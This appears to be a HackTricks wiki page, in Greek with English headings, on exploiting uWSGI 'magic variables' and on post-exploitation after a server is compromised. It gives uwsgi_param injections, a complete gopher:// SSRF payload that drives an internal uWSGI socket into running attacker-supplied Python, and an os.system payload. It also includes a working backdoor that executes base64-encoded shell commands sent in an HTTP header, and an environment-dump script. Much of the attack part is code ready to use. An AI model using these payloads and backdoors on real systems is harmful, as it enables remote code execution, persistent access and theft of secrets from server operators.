WSGI Post-Exploitation Tricks
Reading time: 5 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Επισκόπηση WSGI
Το Web Server Gateway Interface (WSGI) είναι μια προδιαγραφή που περιγράφει πώς ένας web server επικοινωνεί με web εφαρμογές και πώς οι web εφαρμογές μπορούν να αλυσοδεθούν για να επεξεργαστούν ένα αίτημα. Το uWSGI είναι ένας από τους πιο δημοφιλείς WSGI servers, που συχνά χρησιμοποιείται για την εξυπηρέτηση Python web εφαρμογών.
uWSGI Magic Variables Exploitation
Το uWSGI παρέχει ειδικές "magic variables" που μπορούν να χρησιμοποιηθούν για τη δυναμική διαμόρφωση της συμπεριφοράς του server. Αυτές οι μεταβλητές μπορούν να οριστούν μέσω HTTP headers και ενδέχεται να οδηγήσουν σε σοβαρές ευπάθειες ασφαλείας όταν δεν ελέγχονται σωστά.
Κύριες Εκμεταλλεύσιμες Μεταβλητές
UWSGI_FILE
- Arbitrary File Execution
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Αυτή η μεταβλητή επιτρέπει τη φόρτωση και την εκτέλεση αυθαίρετων αρχείων Python ως WSGI εφαρμογές. Εάν ένας επιτιθέμενος μπορεί να ελέγξει αυτήν την παράμετρο, μπορεί να επιτύχει Remote Code Execution (RCE).
UWSGI_SCRIPT
- Φόρτωση Script
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Φορτώνει ένα συγκεκριμένο script ως νέα εφαρμογή. Σε συνδυασμό με δυνατότητες μεταφόρτωσης αρχείων ή εγγραφής, αυτό μπορεί να οδηγήσει σε RCE.
UWSGI_MODULE
και UWSGI_CALLABLE
- Δυναμική Φόρτωση Module
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Αυτές οι παράμετροι επιτρέπουν το φόρτωμα αυθαίρετων Python modules και την κλήση συγκεκριμένων συναρτήσεων μέσα σε αυτά.
UWSGI_SETENV
- Χειρισμός μεταβλητών περιβάλλοντος
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Μπορεί να χρησιμοποιηθεί για την τροποποίηση μεταβλητών περιβάλλοντος, ενδεχομένως επηρεάζοντας τη συμπεριφορά της εφαρμογής ή φορτώνοντας κακόβουλη διαμόρφωση.
UWSGI_PYHOME
- Python Environment Manipulation
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Αλλάζει το εικονικό περιβάλλον Python, ενδεχομένως φορτώνοντας κακόβουλα πακέτα ή διαφορετικούς διερμηνείς Python.
UWSGI_CHDIR
- Directory Traversal
uwsgi_param UWSGI_CHDIR /etc/;
Αλλάζει τον τρέχοντα κατάλογο πριν την επεξεργασία των αιτήσεων, κάτι που μπορεί να χρησιμοποιηθεί για path traversal attacks.
SSRF + Gopher to
The Attack Vector
Όταν uWSGI είναι προσβάσιμο μέσω SSRF (Server-Side Request Forgery), οι επιτιθέμενοι μπορούν να αλληλεπιδράσουν με το εσωτερικό uWSGI socket για να εκμεταλλευτούν magic variables. Αυτό είναι ιδιαίτερα επικίνδυνο όταν:
- Η εφαρμογή έχει SSRF vulnerabilities
- Το uWSGI τρέχει σε εσωτερική θύρα/socket
- Η εφαρμογή δεν επικυρώνει σωστά τα magic variables
Το uWSGI είναι προσβάσιμο λόγω SSRF επειδή το config file uwsgi.ini
περιέχει: socket = 127.0.0.1:5000
κάνοντας το προσβάσιμο από την web εφαρμογή μέσω SSRF.
Exploitation Example
Βήμα 1: Δημιουργία κακόβουλου payload
Πρώτα, εγχύστε Python code σε ένα αρχείο προσβάσιμο από τον server (file write μέσα στον server, η επέκταση του αρχείου δεν έχει σημασία):
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
Βήμα 2: Δημιουργία αιτήματος πρωτοκόλλου uWSGI
Χρησιμοποιήστε το πρωτόκολλο Gopher για να στείλετε raw πακέτα uWSGI:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Αυτό το payload:
- Συνδέεται στο uWSGI στην θύρα 5000
- Ορίζει την
UWSGI_FILE
ώστε να δείχνει στο κακόβουλο αρχείο - Εξαναγκάζει το uWSGI να φορτώσει και να εκτελέσει τον κώδικα Python
Δομή Πρωτοκόλλου uWSGI
Το πρωτόκολλο uWSGI χρησιμοποιεί δυαδική μορφή όπου:
- Οι μεταβλητές κωδικοποιούνται ως συμβολοσειρές με προθέμα μήκους
- Κάθε μεταβλητή έχει:
[name_length][name][value_length][value]
- Το πακέτο ξεκινά με μια κεφαλίδα που περιέχει το συνολικό μέγεθος
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Στη συνέχεια, χρησιμοποιήστε UWSGI_FILE
για να φορτώσετε αυτό το backdoor:
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
Persistence βάσει περιβάλλοντος
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
2. Αποκάλυψη Πληροφοριών
Εξαγωγή Μεταβλητών Περιβάλλοντος
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Πρόσβαση στο Σύστημα Αρχείων
Χρησιμοποιήστε UWSGI_CHDIR
σε συνδυασμό με την εξυπηρέτηση αρχείων για να αποκτήσετε πρόσβαση σε ευαίσθητα αρχεία:
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
3. Privilege Escalation
Socket Manipulation
Εάν το uWSGI τρέχει με αυξημένα προνόμια, οι επιτιθέμενοι μπορεί να χειριστούν τα socket permissions:
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
Αντικατάσταση Διαμόρφωσης
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.